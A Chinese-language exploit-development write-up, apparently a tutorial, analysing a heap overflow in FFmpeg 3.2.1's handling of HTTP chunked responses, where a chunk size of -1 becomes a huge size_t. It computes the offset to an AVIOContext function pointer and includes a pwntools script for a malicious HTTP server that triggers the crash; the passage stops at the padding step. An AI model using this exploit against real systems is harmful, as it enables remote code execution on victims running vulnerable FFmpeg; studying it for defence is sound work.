0x01 漏洞分析
简单来说,是因为变量在传递过程中的类型不一致,导致了传入的负数被转化为极大数,最终导致了堆溢出漏洞。
在溢出的buffer的高地址处,刚好有可利用的对象,其中的函数指针可以被覆盖。如此,就可以在后续调用这个函数指针的时候成功劫持程序的控制流。
1.1 正常情况下的程序功能
ffmpeg的-i选项可以从指定的输入流获取视频,并保存为AVI格式。下面是一个正常使用的例子。
1.2 HTTP分块编码
HTTP Header中的Content-Length
字段用于告诉Client,响应实体的长度。Content-Length必须和实体实际长度一致,通常如果Content-Length比实际长度短,会造成内容被截断;如果比实体内容长,会造成pending。
但是在获取网络文件等情景下,实体长度不是那么容易获得。为了不依靠Header中的长度信息,也能让Client知道实体的边界,Transfer-Encoding
就是为了解决这个问题的。最新的HTTP规范只定义了一种传输编码:分块编码(chunked)。编码使用若干个Chunk组成,由一个标明长度为0的chunk结束,每个Chunk有两部分组成,第一部分是该Chunk的长度,第二部分就是指定长度的内容,每个部分用CRLF隔开。
使用分块编码的response如下所示:
HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked
5\r\n
Hello\r\n
6\r\n
World!\r\n
0\r\n
\r\n
1.3 chunksize漂流记
漏洞就发生在ffmpeg处理HTTP分块编码response的过程中。
上一小节中说到,每个Chunk的第一部分是该Chunk的长度,代码中使用chunksize表示。然后看一下chunksize在程序运行中经历的传递和类型转换。
可以发现当传给recv函数时,chunksize最终被转换成了size_t类型。
顺便关注一下64位架构中的几种整数类型。
类型 | 位数 | 范围 |
---|---|---|
long long | 64 bit | -2^63 ~ 2^63 -1 |
int64_t | 64 bit | -2^63 ~ 2^63 -1 |
int | 32 bit | -2^31 ~ 2^31 - 1 |
size_t | 64 bit | 0 ~ 2^64 -1 |
由于size_t是无符号整数,那么传入一个负数-1将会被转换为2^64 - 1,这将远大于buffrer的最大长度0x8000。此时如果传递长度大于0x8000的内容,将形成溢出。
0x02 利用思路
2.1 搭建环境
安装pwntools等工具
$ sudo apt-get update $ sudo apt-get upgrade -y $ sudo apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential $ sudo pip install --upgrade pip $ sudo pip install --upgrade pwntools $ sudo pip install --upgrade ropper
使用下面的命令搭建环境:
安装依赖:
sudo apt-get update sudo apt-get -y install autoconf automake build-essential libass-dev \ libfreetype6-dev libsdl2-dev libtheora-dev libtool libva-dev libvdpau-dev \ libvorbis-dev libxcb1-dev libxcb-shm0-dev libxcb-xfixes0-dev pkg-config \ texinfo wget zlib1g-dev yasm
编译安装FFmpeg 3.2.1
$ wget https://github.com/FFmpeg/FFmpeg/archive/n3.2.1.tar.gz $ tar xvfz n3.2.1.tar.gz $ mkdir ~/ffmpeg_build $ mkdir ~/ffmpeg_bin $ cd FFmpeg-n3.2.1/ $ ./configure --prefix="$HOME/ffmpeg_build" --bindir="$HOME/ffmpeg_bin" \ --disable-stripping $ make -j4 $ sudo make install
2.2 检查程序保护
可以看到PIE(ASLR)是关闭的,这样的话在利用过程中就会简单很多。
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : ENABLED
NX : ENABLED
PIE : disabled
RELRO : Partial
2.3 劫持程序控制流
buffer刚好分配在一个AVIOContext
对象的前面,并且AVIOContext对象中包含有函数指针readpacket
。该对象的指针在avio_read函数中被使用,而avio_read函数将会在后续被调用——所以控制了read_packet就可以劫持程序控制流。
2.3.1 计算buffer和目标对象之间的距离
首先记录了AVIOContext对象的地址为0x1deebe0
然后查看buff的地址为0x1de6b80
相差了0x1deebe0 - 0x1de6b80 = 0x8060
2.3.2 验证填充
使用下面的代码引发crash,
#!/usr/bin/python
from pwn import *
import time
import socket
# HTTP Headers
headers = """HTTP/1.1 200 OK
Server: PwnServ/v1.0
Date: Sun, 11 Mar 1994 13:37:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked
"""
def main():
# Start a listener and wait for a connection from ffmpeg
while True:
p = listen(12345)
p.wait_for_connection()
log.success("Victim found!")
# Initialise the ffmpeg instance and prepare it for the bug
p.send(headers)
time.sleep(2)
# Trigger the bug with the overly large read
p.sendline("-1")
log.info("Bug triggered. Please wait for five seconds...")
time.sleep(2) # The sleep allows for a clean transmission boundary
payload = "A" * 0x8060